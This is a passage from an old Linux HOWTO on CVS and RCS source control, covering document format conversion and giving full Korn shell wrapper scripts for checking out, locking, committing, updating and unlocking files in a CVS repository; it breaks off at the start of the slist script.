  • http://www.linuxdoc.org and click on HOWTOs and search for the howto document name using CTRL+f or ALT+f within the web-browser.

You can also find this document at the following mirrors sites:

  • http://www.caldera.com/LDP/HOWTO
  • http://www.linux.ucla.edu/LDP
  • http://www.cc.gatech.edu/linux/LDP
  • http://www.redhat.com/mirrors/LDP
  • Other mirror sites near you (network-address-wise) can be found at http://www.linuxdoc.org/mirrors.html select a site and go to directory /LDP/HOWTO/xxxxx-HOWTO.html

  • You can get this HOWTO document as a single file tar ball in HTML, DVI, Postscript or SGML formats from - ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO/other-formats/ and http://www.linuxdoc.org/docs.html#howto

  • Plain text format is in: ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto

  • Single HTML file format is in: http://www.linuxdoc.org/docs.html#howto

    A single HTML file can be created with the command (see man sgml2html) - sgml2html -split 0 xxxxhowto.sgml

  • Translations to other languages like French, German, Spanish, Chinese, and Japanese are in ftp://www.linuxdoc.org/pub/Linux/docs/HOWTO and http://www.linuxdoc.org/docs.html#howto Any help from you to translate to other languages is welcome.
The document is written using a tool called "SGML-Tools" which can be got from: http://www.sgmltools.org Compiling the source you will get the following commands like:
  • sgml2html xxxxhowto.sgml (to generate html file)
  • sgml2html -split 0 xxxxhowto.sgml (to generate a single page html file)
  • sgml2rtf xxxxhowto.sgml (to generate RTF file)
  • sgml2latex xxxxhowto.sgml (to generate latex file)

18.1 Acrobat PDF format

A PDF file can be generated from postscript file using either acrobat distill or Ghostscript. And a postscript file is generated from DVI which in turn is generated from a LaTex file. You can download distill software from http://www.adobe.com. Given below is a sample session:

bash$ man sgml2latex
bash$ sgml2latex filename.sgml
bash$ man dvips
bash$ dvips -o filename.ps filename.dvi
bash$ distill filename.ps
bash$ man ghostscript
bash$ man ps2pdf
bash$ ps2pdf input.ps output.pdf
bash$ acroread output.pdf &
Or you can use the Ghostscript command ps2pdf. ps2pdf is a work-alike for nearly all the functionality of Adobe's Acrobat Distiller product: it converts PostScript files to Portable Document Format (PDF) files. ps2pdf is implemented as a very small command script (batch file) that invokes Ghostscript, selecting a special "output device" called pdfwrite. In order to use ps2pdf, the pdfwrite device must be included in the makefile when Ghostscript was compiled; see the documentation on building Ghostscript for details.

18.2 Convert Linuxdoc to Docbook format

This document is written in linuxdoc SGML format. The Docbook SGML format supercedes the linuxdoc format and has a lot more features than linuxdoc. The linuxdoc is very simple and easy to use. To convert linuxdoc SGML file to Docbook SGML use the program ld2db.sh and some Perl scripts. The ld2db output is not 100% clean and you need to use the clean_ld2db.pl Perl script. You may need to manually correct a few lines in the document.

  • Download the ld2db program from http://www.dcs.gla.ac.uk/~rrt/docbook.html or from Milkyway Galaxy site click on "Source code for C++ howto".
  • Download the cleanup_ld2db.pl perl script from from Milkyway Galaxy site click on "Source code for C++ howto".
The ld2db.sh is not 100% clean, so you will get some errors when you run it.
        bash$ ld2db.sh file-linuxdoc.sgml db.sgml
        bash$ cleanup.pl db.sgml > db_clean.sgml
        bash$ gvim db_clean.sgml
        bash$ docbook2html db.sgml
And you may have to manually edit some of the minor errors after running the Perl script. For example you may need to put closing tag < /Para> for each < Listitem>

18.3 Convert to MS WinHelp format

You can convert the SGML howto document to a Microsoft Windows Help file, First convert the sgml to html using:

        bash$ sgml2html xxxxhowto.sgml     (to generate html file)
        bash$ sgml2html -split 0   xxxxhowto.sgml (to generate a single page html file)
Then use the tool HtmlToHlp. You can also use sgml2rtf and then use the RTF files for generating winhelp files.

18.4 Reading various formats

In order to view the document in dvi format, use the xdvi program. The xdvi program is located in tetex-xdvi*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Publishing | TeX menu buttons. To read a dvi document give the command:

        xdvi -geometry 80x90 howto.dvi
        man xdvi
And resize the window with the mouse. To navigate use Arrow keys, Page Up, Page Down keys, also you can use 'f', 'd', 'u', 'c', 'l', 'r', 'p', 'n' letter keys to move up, down, center, next page, previous page etc. To turn off expert menu press 'x'.

You can read a postscript file using the program 'gv' (ghostview) or 'ghostscript'. The ghostscript program is in the ghostscript*.rpm package and the gv program is in the gv*.rpm package in Redhat Linux which can be located through ControlPanel | Applications | Graphics menu buttons. The gv program is much more user friendly than ghostscript. Also ghostscript and gv are available on other platforms like OS/2, Windows 95 and NT. You can view this document even on those platforms.

  • Get ghostscript for Windows 95, OS/2, and for all OSes from http://www.cs.wisc.edu/~ghost

To read a postscript document give the command:

                gv howto.ps
                ghostscript howto.ps

You can read an HTML format document using Netscape Navigator, Microsoft Internet explorer, Redhat Baron Web browser or any of the 10 other web browsers.

You can read the latex, LyX output using LyX an X Window front end to LaTex.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): Copyright and License

 Next Previous Contents

19. Copyright and License

Copyright Al Dev (Alavoor Vasudevan) 1998-2000.

License is GNU GPL, but it is requested that you retain the author's name and email on all copies.


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sget

 Next Previous Contents

20. sget

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sget
# Program to check out the file from CVS read-only

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

Usage()
{
        print "\nUsage: $cmdname [-r revision_number/symbolic_tag_name] <file/directory name> "
        print "The options -r are optional "
        print "For example - "
        print " $cmdname -r 1.1 foo.cpp"
        print " $cmdname foo.cpp "
        print " $cmdname some_directory "
        print "Extract by symbolic revision tag like - "
        print " $cmdname -r REVISION_1 some_directory "
        print " "
        exit
}

# Command getopt will not supported in next major release.
# Use getopts instead.
while getopts r: ii
do
        case $ii in
        r) FLAG1=$ii; OARG1="$OPTARG";;
        ?) Usage; exit 2;;
        esac
done
shift ` expr $OPTIND - 1 `

#echo FLAG1 = $FLAG1 , OARG1 = $OARG1

if [ $# -lt 1 ]; then
        Usage
fi

bkextn=sget_bak

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname=$1
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# Check if file already exists....
if [ -f "$HOME/$subdir/$fname" ]; then
        tmpaa="$HOME/$subdir/$fname"
        user_perms=" "
        group_perms=" "
        other_perms=" "
        user_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b3-3 `
        group_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b6-6 `
        other_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b9-9 `
        if [ "$user_perms" = "w" -o "$group_perms" = "w"  \
                        -o "$other_perms" = "w" ]; then
                print "\nError: The file is writable. Aborting $cmdname ......"
                print "       You should either backup, scommit or delete the file and"
                print "       try $cmdname again\n"
                exit
        fi
fi

# Move the file
mkdir -p "$HOME/$subdir"
touch "$HOME/$subdir/$fname" 2>/dev/null
\mv -f "$HOME/$subdir/$fname" "$HOME/$subdir/$fname.$bkextn"

# Create subshell
(
        cd $homedir

        # Use -A option to clear all sticky flags
        if [ "$FLAG1" = "" ]; then
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs -r checkout -A $fname
                else
                        cvs -r checkout -A "$subdir/$fname"
                fi
        else
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs -r checkout -A -$FLAG1 $OARG1 $fname
                else
                        cvs -r checkout -A -$FLAG1 $OARG1 "$subdir/$fname"
                fi
        fi
)
#pwd

if [ -f "$HOME/$subdir/$fname" ]; then
        print "\nREAD-ONLY copy of the file $subdir/$fname obtained."
        print "Done $cmdname"
        #print "\nTip (Usage): $cmdname <file/directory name> \n"
fi


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sedit

 Next Previous Contents

21. sedit

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sedit
# Program to check out the file from CVS read/write mode with locking

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

Usage()
{
#       print "\nUsage: $cmdname [-r revision_number] [-F] <filename>"
#       print "The options -r, -F are optional "
#       print "The option -F is FORCE edit even if file is "
#       print "locked by another developer"

        print "\nUsage: $cmdname [-r revision_number] <filename>"
        print "The options -r are optional "

        print "For example - "
        print " $cmdname -r 1.1 foo.cpp"
        print " $cmdname foo.cpp "
#       print " $cmdname -F foo.cpp "
        print " "
}

# Command getopt will not supported in next major release.
# Use getopts instead.
#while getopts r:F ii
while getopts r: ii
do
        case $ii in
        r) FLAG1=$ii; OARG1="$OPTARG";;
#       F) FLAG2=$ii; OARG2="$OPTARG";;
        ?) Usage; exit 2;;
        esac
done
shift ` expr $OPTIND - 1 `

#echo FLAG1 = $FLAG1 , OARG1 = $OARG1

if [ $# -lt 1 ]; then
        Usage
        exit
fi

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

bkextn=sedit_bak

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname=$1
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

# If file is already checked out by another developer....
cvs_root=` echo $CVSROOT | cut -f1 -d' '  `
if [ "$cvs_root" = "" ]; then
        print "\nError: \$CVSROOT is not set!!\n"
        exit
fi
mkdir -p "$CVSROOT/$subdir/Locks" 2>/dev/null

if [ ! -e "$CVSROOT/$subdir/$fname,v" ]; then
        print "\nError: File $fname does not exist in CVS repository!!\n"
        exit
fi

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Get the tip revision number of the file....
# Use tmpfile as the arg cannot be set inside the sub-shell
tmpfile=$homedir/sedit-lock.tmp
\rm -f $tmpfile 2>/dev/null
if [ "$FLAG1" = "" ]; then
        (
        cd $homedir
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs log $fname | head -6 | grep head: | awk '{print $2}' > $tmpfile
                else
                        cvs log "$subdir/$fname" | head -6 | grep head: | awk '{print $2}' > $tmpfile
                fi
        )
        OARG1=`cat $tmpfile`
        \rm -f $tmpfile 2>/dev/null
fi

lockfile="$CVSROOT/$subdir/Locks/$fname-$OARG1"
#echo "lockfile is : " $lockfile
#if [ -e $lockfile -a "$FLAG2" = "" ]; then
if [ -e $lockfile ]; then
        print "\nError: File $fname Revision $OARG1 already locked by another developer !!"
        aa=` ls -l $lockfile | awk '{print "Locking developers unix login name is = " $3}' `
        print $aa
        print "That developer should do scommit OR sunlock to release the lock"
        print " "
#       print "You can also use -F option to force edit the file even if"
#       print "the file is locked by another developer. But you must talk to"
#       print "other developer to work concurrently on this file."
#       print "For example - this option is useful if you work on a seperate"
#       print "C++ function in the file which does not interfere with other"
#       print "developer."
#       print " "
        exit
fi

# Get read-only copy now....
if [ ! -e "$HOME/$subdir/$fname" ]; then
        (
        cd $homedir
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs -r checkout $fname 1>/dev/null
                else
                        cvs -r checkout "$subdir/$fname" 1>/dev/null
                fi
        )
fi

# Check if file already exists....
tmpaa="$HOME/$subdir/$fname"
if [ -f $tmpaa ]; then
        user_perms=" "
        group_perms=" "
        other_perms=" "
        user_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b3-3 `
        group_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b6-6 `
        other_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b9-9 `
        if [ "$user_perms" = "w" -o "$group_perms" = "w"  \
                        -o "$other_perms" = "w" ]; then
                print "\nError: The file is writable. Aborting $cmdname ......"
                print "       You must backup, scommit or delete file and"
                print "       try $cmdname again\n"
                exit
        fi
        #print "\nNote: The file $tmpaa is read-only."
        #print "Hence I am moving it to $tmpaa.$bkextn ....\n"
        \mv -f $tmpaa $tmpaa.$bkextn
        chmod 444 $tmpaa.$bkextn
elif [ -d $tmpaa ]; then
        print "\nError: $tmpaa is a directory and NOT a file. Aborting $cmdname ....\n"
        exit
fi

# Create subshell
print "\nNow getting the file $fname from CVS repository ...\n"
(
        cd $homedir
        # Use -A option to clear the sticky tag and to get
        # the HEAD revision version
        if [ "$FLAG1" = "" ]; then
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs -w checkout -A $fname
                else
                        cvs -w checkout -A "$subdir/$fname"
                fi
        else
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs -w checkout -A -$FLAG1 $OARG1 $fname
                else
                        cvs -w checkout -A -$FLAG1 $OARG1 "$subdir/$fname"
                fi
        fi
)

if [ -e "$HOME/$subdir/$fname" ]; then
        # The lockfile is $CVSROOT/$subdir/Locks/$fname-$OARG1
        touch $lockfile
        if [ -e $lockfile ]; then
                print "\nDone $cmdname"
        else
                print "\nFatal Error: File $fname Revision $OARG1 not locked !!"
                print "\nCheck the reason for this failure.. before proceeding..."
        fi
fi

#pwd

#print "\nTip (Usage): $cmdname <filename> \n"


CVS-RCS-HOWTO Document for Linux (Source Code Control System): scommit

 Next Previous Contents

22. scommit

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program scommit
# Program to commit the changes and check in the file into CVS

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play a important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

Usage()
{
        print "\nUsage: $cmdname [-r revision_number] <filename>"
        print "The options -r are optional "
        print "For example - "
        print " $cmdname -r 1.1 foo.cpp"
        print " $cmdname foo.cpp "
        print " "
}

# Command getopt will not supported in next major release.
# Use getopts instead.
while getopts r: ii
do
        case $ii in
        r) FLAG1=$ii; OARG1="$OPTARG";;
        ?) Usage; exit 2;;
        esac
done
shift ` expr $OPTIND - 1 `

#echo FLAG1 = $FLAG1 , OARG1 = $OARG1

if [ $# -lt 1 ]; then
        Usage
        exit 2
fi

if [ -d $1 ]; then
        Usage
        exit 2
fi

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

# Find sub-directory
cur_dir=`pwd`
#echo $cur_dir
len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname=$1
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
# echo "subdir is : " $subdir
# echo "fname is : " $fname

# If file is already checked out by another user....
cvs_root=` echo $CVSROOT | cut -f1 -d' '  `
if [ "$cvs_root" = "" ]; then
        print "\nError: \$CVSROOT is not set!!\n"
        exit
fi
mkdir -p "$CVSROOT/$subdir/Locks" 2>/dev/null

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Get the working revision number of the file....
# Use tmpfile as the arg cannot be set inside the sub-shell
tmpfile=$homedir/sedit-lock.tmp
\rm -f $tmpfile 2>/dev/null
if [ "$FLAG1" = "" ]; then
        (
        cd $homedir
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs status $fname 2>/dev/null | grep "Working revision:" | awk '{print $3}' >$tmpfile
                else
                        cvs status "$subdir/$fname" 2>/dev/null | grep "Working revision:" | awk '{print $3}' >$tmpfile
                fi
        )
        OARG1=`cat $tmpfile`
        \rm -f $tmpfile 2>/dev/null
fi

if [ "$OARG1" = "" -o "$OARG1" = "New" -o "$OARG1" = "NEW" ]; then
        print "The file $subdir/$fname is NEW, it is not in the CVS repository"
        print "The OARG1 is $OARG1"
else
        lockfile="$CVSROOT/$subdir/Locks/$fname-$OARG1"

        if [ -e $lockfile ]; then
                # Check if this revision is owned by you...
                aa=` ls -l $lockfile | awk '{print $3}' `
                userid=`id | cut -d'(' -f2 | cut -d')' -f1 `
                if [ "$aa" != "$userid" ]; then
                        print " "
                        print "The file $subdir/$fname is NOT locked by you!!"
                        print "It is locked by unix user name $aa and your login name is $userid"
#                       print "If you are working concurrently with other developer"
#                       print "and you used -F option with sedit."
                        print "You need to wait untill other developer does scommit"
                        print "or sunlock"
                        print "Aborting the $cmdname ...."
                        print " "
                        exit 2
                fi
        else
                # The file must exist in cvs
                if [ -f "$CVSROOT/$subdir/$fname,v" ]; then
                        print "You did not lock the file $subdir/$fname with sedit!!"
                        print "Aborting the $cmdname ...."
                        exit 2
                else
                        print "\nThe file $subdir/$fname does not exist in CVS repository yet!!"
                        print "You should have done sadd on $subdir/$fname ...."
                        exit 2
                fi
        fi
fi

# Operate inside sub-shell - and operate from root directory
(
        cd $homedir

        # Do not allow directory commits for now ...
        #if [ -d "$subdir/$fname" ]; then
        #       cvs commit "$subdir/$fname"
        #fi

        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                cvs commit $fname
        else
                cvs commit "$subdir/$fname"
        fi
        exit_status=$?

        if [ $exit_status -eq 0 ]; then
                lockfile="$CVSROOT/$subdir/Locks/$fname-$OARG1"
                if [ -e $lockfile ]; then
                        \rm -f $lockfile
                fi

                # Must change the permissions on file in case
                # there are no changes to file
                chmod a-w "$HOME/$subdir/$fname"
                print "\nDone $cmdname. $cmdname successful"
                #print "\nTip (Usage): $cmdname <filename/directory name>\n"
        fi
)


CVS-RCS-HOWTO Document for Linux (Source Code Control System): supdate

 Next Previous Contents

23. supdate

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program supdate
# Program to update the file from CVS read/write mode

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

if [ $# -lt 1 ]; then
        print "\nUsage: $cmdname <filename>"
        exit
fi

# Put double quotes to protect spaces in $1
tmpaa="$1"

# Check if file already exists....
if [ $# -gt 0 -a  -f $tmpaa ]; then
        user_perms=" "
        group_perms=" "
        other_perms=" "
        user_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b3-3 `
        group_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b6-6 `
        other_perms=`ls -l $tmpaa | awk '{print $tmpaa }' | cut -b9-9 `
        if [ "$user_perms" = "w" -o "$group_perms" = "w"  \
                        -o "$other_perms" = "w" ]; then
                while :
                do
                        print "\n$cmdname will backup your working file "
                        print "$tmpaa to $tmpaa.supdate_bak before doing any merges."
                        print "Are you sure you want the merge the changes from"
                        print -n "CVS repository to your working file ? <y/n> [n]: "
                        read ans
                        if [ "$ans" = "y" -o "$ans" = "Y" ]; then
                                if [ -f $tmpaa.supdate_bak ]; then
                                        print "\nWarning : File $tmpaa.supdate_bak already exists!!"
                                        print "Please examine the file $tmpaa.supdate_bak and delete it"
                                        print "and then re-try this $cmdname "
                                        print "Aborting $cmdname ...."
                                        exit
                                else
                                        cp $tmpaa $tmpaa.supdate_bak
                                        break
                                fi
                        elif [ "$ans" = "n" -o "$ans" = "N" -o "$ans" = "" -o "$ans" = " " ]; then
                                exit
                        fi
                done
        fi
fi

if [ -d $tmpaa ]; then
        print "\nDirectory update is disabled because cvs update"
        print "merges the changes from repository to your working directory."
        print "Hence give the filename to update - as shown below: "
        print " Usage: $cmdname <filename>"
        exit
#       cvs update
else
        cvs update $tmpaa
fi

print "\nDone $cmdname. $cmdname successful"
print "\n\nThe original file is backed-up to $tmpaa.supdate_bak"
print "\nHence your original file is SAVED to $tmpaa.supdate_bak"
print "\n\n"
#print "\nTip (Usage): $cmdname <filename/directory name>\n"


CVS-RCS-HOWTO Document for Linux (Source Code Control System): sunlock

 Next Previous Contents

24. sunlock

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

#!/bin/ksh

# CVS program sunlock
# Program to unlock the file to release the lock done by sedit

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

cmdname=`basename $0`

Usage()
{
        print "\nUsage: $cmdname [-r revision_number] <filename>"
        print " The options -r is optional "
        print "For example - "
        print " $cmdname -r 1.1 foo.cpp"
        print " $cmdname foo.cpp "
        print " "
}

# Command getopt will not supported in next major release.
# Use getopts instead.
while getopts r: ii
do
        case $ii in
        r) FLAG1=$ii; OARG1="$OPTARG";;
        ?) Usage; exit 2;;
        esac
done
shift ` expr $OPTIND - 1 `

if [ $# -lt 1 ]; then
        Usage
        exit
fi

homedir=` echo $HOME | cut -f1 -d' '  `
if [ "$homedir" = "" ]; then
        print "\nError: \$HOME is not set!!\n"
        exit
fi

cur_dir=`pwd`
#echo $cur_dir

len=${#homedir}
len=$(($len + 2))
#echo $len

subdir=` echo $cur_dir | cut -b $len-2000 `
#echo "subdir is : " $subdir
tmpaa=`dirname $1`
if [ "$tmpaa" = "." ]; then
        fname=$1
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        fi
else
        fname=`basename $1`
        if [ "$subdir" = "" ]; then
                subdir=$tmpaa
        else
                subdir="$subdir/$tmpaa"
        fi
fi
#echo "subdir is : " $subdir
#echo "fname is : " $fname

cvs_root=` echo $CVSROOT | cut -f1 -d' '  `
if [ "$cvs_root" = "" ]; then
        print "\nError: \$CVSROOT is not set!!\n"
        exit
fi

if [ ! -e "$CVSROOT/$subdir/$fname,v" ]; then
        print "\nError: File $fname does not exist in CVS repository!!\n"
        exit
fi

# CVS directory in your local directory is required for all commands..
if [ ! -d  "$homedir/$subdir/CVS" ]; then
        #tmpaa=` (cd "$CVSROOT/$subdir"; find * -prune -type f -print | head -1 ) `
        tmpaa=` (cd "$CVSROOT/$subdir"; find * -maxdepth 0 -type f -print | head -1 ) `
        tmpbb=`basename $tmpaa | cut -d',' -f1 `
        if [ "$tmpaa" = "" -o ! -f "$CVSROOT/$subdir/$tmpbb,v" ]; then
                print "\nThe directory $homedir/$subdir/CVS does not exist"
                print "You must do a sget on `basename $subdir` directory. Give -"
                print "       cd $homedir/`dirname $subdir` "
                print "       sget `basename $subdir` "
                exit
        else
                # Now try to create CVS in local dir by sget
                (
                        cd "$homedir"
                        if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                                cvs -r checkout -A $tmpbb
                        else
                                cvs -r checkout -A "$subdir/$tmpbb"
                        fi
                )
        fi
fi

# Get the tip revision number of the file....
# Use tmpfile as the arg cannot be set inside the sub-shell
tmpfile=$homedir/sunlock-lock.tmp
\rm -f $tmpfile 2>/dev/null
if [ "$FLAG1" = "" ]; then
        # Operate inside sub-shell - from root directory
        (
        cd $homedir
                if [ "$subdir" = "." ]; then  # don't use dot, will mess up cvs
                        cvs log $fname | head -6 | grep head: | awk '{print $2}' > $tmpfile
                else
                        cvs log "$subdir/$fname" | head -6 | grep head: | awk '{print $2}' > $tmpfile
                fi
        )
        OARG1=`cat $tmpfile`
        \rm -f $tmpfile 2>/dev/null
fi

lockfile="$CVSROOT/$subdir/Locks/$fname-$OARG1"
#echo lockfile is : $lockfile
if [ ! -e $lockfile ]; then
        print "\nFile $fname revision $OARG1 is NOT locked by anyone"
        print " "
        exit
fi

ans=""
while :
do
        print "\n\n***************************************************"
        print "WARNING: $cmdname will release lock and enable other"
        print "         developers to edit the file. It is advisable"
        print "         to save your changes with scommit command"
        print "***************************************************"
        print -n "\nAre you sure you want to unlock the file <y/n>? [n]: "
        read ans
        if [ "$ans" = "" -o "$ans" = " " -o "$ans" = "n" -o "$ans" = "N" ]; then
                print "\nAborting $cmdname ...."
                exit
        fi
        if [ "$ans" = "y" -o "$ans" = "Y" ]; then
                print "\n\n\n\n\n "
                print "CAUTION: You may lose all the changes made to file!!"
                print -n "Are you sure? Do you really want to unlock the file <y/n>? [n]: "
                read ans
                if [ "$ans" = "y" -o "$ans" = "Y" ]; then
                        break
                elif [ "$ans" = "" -o "$ans" = " " -o "$ans" = "n" -o "$ans" = "N" ]; then
                        exit
                else
                        print "\n\nWrong entry. Try again..."
                        sleep 1
                fi
        else
                print "\n\nWrong entry. Try again..."
                sleep 1
        fi
done

if [ -e $lockfile ]; then
        \rm -f $lockfile
        print "\nDone $cmdname"
else
        print "\nFile $fname is NOT locked by anyone"
        print " "
fi


CVS-RCS-HOWTO Document for Linux (Source Code Control System): slist

 Next Previous Contents

25. slist

NOTE : Get the Korn shell /bin/ksh by installing pdksh*.rpm from the Linux contrib cdrom

Save this file as a text file and chmod a+rx on it.

Note that there is also another Unix command by the name slist (list available Netware servers). You should make sure the CVS script slist comes before other in your PATH environment.

#!/bin/ksh

# CVS program slist
# Program to list all edited source files from CVS

# Every filename is composed of 3 parts - Home directory, sub-directory
# and the filename. The full-path is $HOME/$subdir/$fname
# And in CVS the same directory structure is maintained (by
# variable $subdir) therefore in cvs we will have $CVSROOT/$subdir/$fname
# In this program these 4 variables $HOME, $CVSROOT, $subdir and $fname
# play an important role. For example, sample values can be like
# HOME=/home/aldev, subdir=myproject/src CVSROOT=/home/cvsroot
# and fname=foo.cpp

# Caution: Put double-quotes to protect the variables having
#          spaces, like "$HOME/$subdir" if subdir is 'some foo.cpp'

# Usage:
